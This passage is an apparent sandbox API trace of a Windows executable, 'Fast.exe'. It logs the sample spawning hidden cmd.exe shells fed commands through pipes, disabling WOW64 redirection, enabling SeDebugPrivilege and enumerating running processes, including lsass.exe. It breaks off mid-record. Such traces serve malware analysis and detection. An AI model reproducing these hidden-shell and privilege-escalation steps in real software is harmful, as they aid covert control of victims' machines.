GetProcessHeap () returned 0x550000 [0060.216] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fc88 | out: hHeap=0x550000) returned 1 [0060.216] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56fba8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0060.216] GetProcessHeap () returned 0x550000 [0060.216] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fc18 | out: hHeap=0x550000) returned 1 [0060.216] GetProcessHeap () returned 0x550000 [0060.216] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56fba8, Size=0xc2) returned 0x56fba8 [0060.216] GetProcessHeap () returned 0x550000 [0060.216] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc2) returned 0x56fc78 [0060.216] GetProcessHeap () returned 0x550000 [0060.216] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570578 [0060.216] GetProcessHeap () returned 0x550000 [0060.217] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570578 | out: hHeap=0x550000) returned 1 [0060.217] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56fba8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0060.217] GetProcessHeap () returned 0x550000 [0060.217] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fc78 | out: hHeap=0x550000) returned 1 [0060.217] GetProcessHeap () returned 0x550000 [0060.217] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.217] GetProcessHeap () returned 0x550000 [0060.217] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x570578 [0060.217] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x570578, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0060.217] GetProcessHeap () returned 0x550000 [0060.217] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570578 | out: hHeap=0x550000) returned 1 [0060.217] GetProcessHeap () returned 0x550000 [0060.217] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x182) returned 0x570578 [0060.217] GetProcessHeap () returned 0x550000 [0060.217] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x24e) returned 0x570708 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x9a) returned 0x56e038 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e038, Size=0xac) returned 0x56fc78 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6a) returned 0x56e038 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f738 | out: hHeap=0x550000) returned 1 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f950 | out: hHeap=0x550000) returned 1 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a9d8 | out: hHeap=0x550000) returned 1 [0060.218] GetProcessHeap () returned 0x550000 [0060.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fba8 | out: hHeap=0x550000) returned 1 [0060.219] GetProcessHeap () returned 0x550000 [0060.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561790 | out: hHeap=0x550000) returned 1 [0060.219] GetProcessHeap () returned 0x550000 [0060.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6b0 | out: hHeap=0x550000) returned 1 [0060.219] GetProcessHeap () returned 0x550000 [0060.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0060.219] GetProcessHeap () returned 0x550000 [0060.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a848 | out: hHeap=0x550000) returned 1 [0060.219] GetProcessHeap () returned 0x550000 [0060.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56e180 [0060.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d21e5, lpParameter=0x56e180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0060.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d2291, lpParameter=0x28fdc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114 [0060.227] GetProcessHeap () returned 0x550000 [0060.227] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56e1e0 [0060.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d2058, lpParameter=0x56e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0060.230] GetProcessHeap () returned 0x550000 [0060.230] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56e220 [0060.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d196d, lpParameter=0x56e220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0060.233] GetProcessHeap () returned 0x550000 [0060.233] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56e260 [0060.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d1bbc, lpParameter=0x56e260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0060.237] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x74c Thread: id = 11 os_tid = 0xba8 [0060.158] GetProcessHeap () returned 0x550000 [0060.158] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a378 [0060.158] GetProcessHeap () returned 0x550000 [0060.158] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56e180 [0060.159] GetProcessHeap () returned 0x550000 [0060.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56e1a0 [0060.159] GetProcessHeap () returned 0x550000 [0060.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b7c0 [0060.159] GetProcessHeap () returned 0x550000 [0060.159] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x550000) returned 1 [0060.159] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56e180, nSize=0xa | out: lpDst="") returned 0x1c [0060.159] GetProcessHeap () returned 0x550000 [0060.159] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e1a0 | out: hHeap=0x550000) returned 1 [0060.159] GetProcessHeap () returned 0x550000 [0060.159] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e180, Size=0x26) returned 0x56b450 [0060.159] GetProcessHeap () returned 0x550000 [0060.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x26) returned 0x56b4f8 [0060.159] GetProcessHeap () returned 0x550000 [0060.160] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b7c0 [0060.160] GetProcessHeap () returned 0x550000 [0060.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x550000) returned 1 [0060.160] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56b450, nSize=0x13 | out: lpDst="") returned 0x1c [0060.160] GetProcessHeap () returned 0x550000 [0060.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b4f8 | out: hHeap=0x550000) returned 1 [0060.160] GetProcessHeap () returned 0x550000 [0060.160] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56b450, Size=0x4a) returned 0x56aab8 [0060.160] GetProcessHeap () returned 0x550000 [0060.160] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4a) returned 0x56b7c0 [0060.160] GetProcessHeap () returned 0x550000 [0060.160] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.160] GetProcessHeap () returned 0x550000 [0060.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.161] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56aab8, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0060.161] GetProcessHeap () returned 0x550000 [0060.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x550000) returned 1 [0060.161] GetProcessHeap () returned 0x550000 [0060.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.161] GetProcessHeap () returned 0x550000 [0060.161] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56b7c0 [0060.161] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.161] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.161] Wow64DisableWow64FsRedirection (in: OldValue=0x213f9ec | out: OldValue=0x213f9ec*=0x0) returned 1 [0060.161] GetProcessHeap () returned 0x550000 [0060.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x550000) returned 1 [0060.161] CreatePipe (in: hReadPipe=0x213f9e0, hWritePipe=0x213f9dc, lpPipeAttributes=0x213f9fc, nSize=0x0 | out: hReadPipe=0x213f9e0*=0xa8, hWritePipe=0x213f9dc*=0xf8) returned 1 [0060.162] CreatePipe (in: hReadPipe=0x213f9e4, hWritePipe=0x213f9e8, lpPipeAttributes=0x213f9fc, nSize=0x0 | out: hReadPipe=0x213f9e4*=0xa4, hWritePipe=0x213f9e8*=0x100) returned 1 [0060.163] SetHandleInformation (hObject=0xf8, dwMask=0x1, dwFlags=0x0) returned 1 [0060.163] SetHandleInformation (hObject=0xa4, dwMask=0x1, dwFlags=0x0) returned 1 [0060.163] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x213fa18*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xa8, hStdOutput=0x100, hStdError=0x100), lpProcessInformation=0x213fa08 | out: lpCommandLine=0x0, lpProcessInformation=0x213fa08*(hProcess=0x19c, hThread=0x198, dwProcessId=0x808, dwThreadId=0x818)) returned 1 [0060.896] WriteFile (in: hFile=0xf8, lpBuffer=0x56e8e8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x213f9f8, lpOverlapped=0x0 | out: lpBuffer=0x56e8e8*, lpNumberOfBytesWritten=0x213f9f8*=0xc2, lpOverlapped=0x0) returned 1 [0060.896] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0x324 [0060.165] GetProcessHeap () returned 0x550000 [0060.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a378 [0060.165] GetProcessHeap () returned 0x550000 [0060.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56e180 [0060.165] GetProcessHeap () returned 0x550000 [0060.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x56e1a0 [0060.165] GetProcessHeap () returned 0x550000 [0060.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b7c0 [0060.165] GetProcessHeap () returned 0x550000 [0060.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x550000) returned 1 [0060.165] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56e180, nSize=0xa | out: lpDst="") returned 0x1c [0060.165] GetProcessHeap () returned 0x550000 [0060.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e1a0 | out: hHeap=0x550000) returned 1 [0060.166] GetProcessHeap () returned 0x550000 [0060.166] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e180, Size=0x26) returned 0x56b450 [0060.166] GetProcessHeap () returned 0x550000 [0060.166] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x26) returned 0x56b4f8 [0060.166] GetProcessHeap () returned 0x550000 [0060.166] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b7c0 [0060.166] GetProcessHeap () returned 0x550000 [0060.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x550000) returned 1 [0060.166] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56b450, nSize=0x13 | out: lpDst="") returned 0x1c [0060.166] GetProcessHeap () returned 0x550000 [0060.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b4f8 | out: hHeap=0x550000) returned 1 [0060.166] GetProcessHeap () returned 0x550000 [0060.167] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56b450, Size=0x4a) returned 0x56b7c0 [0060.167] GetProcessHeap () returned 0x550000 [0060.167] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4a) returned 0x56e038 [0060.167] GetProcessHeap () returned 0x550000 [0060.167] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56ecf8 [0060.167] GetProcessHeap () returned 0x550000 [0060.167] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ecf8 | out: hHeap=0x550000) returned 1 [0060.167] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56b7c0, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0060.167] GetProcessHeap () returned 0x550000 [0060.167] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.167] GetProcessHeap () returned 0x550000 [0060.167] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.167] GetProcessHeap () returned 0x550000 [0060.167] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56e038 [0060.168] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.168] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.168] Wow64DisableWow64FsRedirection (in: OldValue=0x22efc1c | out: OldValue=0x22efc1c*=0x0) returned 1 [0060.168] GetProcessHeap () returned 0x550000 [0060.168] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.168] CreatePipe (in: hReadPipe=0x22efc10, hWritePipe=0x22efc0c, lpPipeAttributes=0x22efc2c, nSize=0x0 | out: hReadPipe=0x22efc10*=0x104, hWritePipe=0x22efc0c*=0x108) returned 1 [0060.169] CreatePipe (in: hReadPipe=0x22efc14, hWritePipe=0x22efc18, lpPipeAttributes=0x22efc2c, nSize=0x0 | out: hReadPipe=0x22efc14*=0x10c, hWritePipe=0x22efc18*=0x110) returned 1 [0060.169] SetHandleInformation (hObject=0x108, dwMask=0x1, dwFlags=0x0) returned 1 [0060.169] SetHandleInformation (hObject=0x10c, dwMask=0x1, dwFlags=0x0) returned 1 [0060.169] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x22efc48*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x104, hStdOutput=0x110, hStdError=0x110), lpProcessInformation=0x22efc38 | out: lpCommandLine=0x0, lpProcessInformation=0x22efc38*(hProcess=0x18c, hThread=0x180, dwProcessId=0x2a8, dwThreadId=0x65c)) returned 1 [0060.895] WriteFile (in: hFile=0x108, lpBuffer=0x56b490*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x22efc28, lpOverlapped=0x0 | out: lpBuffer=0x56b490*, lpNumberOfBytesWritten=0x22efc28*=0x5b, lpOverlapped=0x0) returned 1 [0060.895] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) Thread: id = 13 os_tid = 0x68c [0060.238] GetProcessHeap () returned 0x550000 [0060.238] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x440) returned 0x56f738 [0060.238] GetProcessHeap () returned 0x550000 [0060.238] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x56ee28 [0060.238] GetCurrentProcess () returned 0xffffffff [0060.238] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x25afea0 | out: TokenHandle=0x25afea0*=0x128) returned 1 [0060.239] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x25afe98 | out: lpLuid=0x25afe98*(LowPart=0x14, HighPart=0)) returned 1 [0060.242] AdjustTokenPrivileges (in: TokenHandle=0x128, DisableAllPrivileges=0, NewState=0x25afe88*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0060.242] CloseHandle (hObject=0x128) returned 1 [0060.242] GetProcessHeap () returned 0x550000 [0060.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ee28 | out: hHeap=0x550000) returned 1 [0060.242] GetProcessHeap () returned 0x550000 [0060.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x434) returned 0x571cb8 [0060.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0060.252] Process32FirstW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.254] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.256] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.257] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.259] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.260] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.262] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.263] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.265] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.266] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.268] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.270] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.271] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.273] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.275] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.276] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.278] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.280] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.281] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.335] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.336] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.338] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.340] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.342] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.343] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.345] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.347] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0060.348] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.350] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, 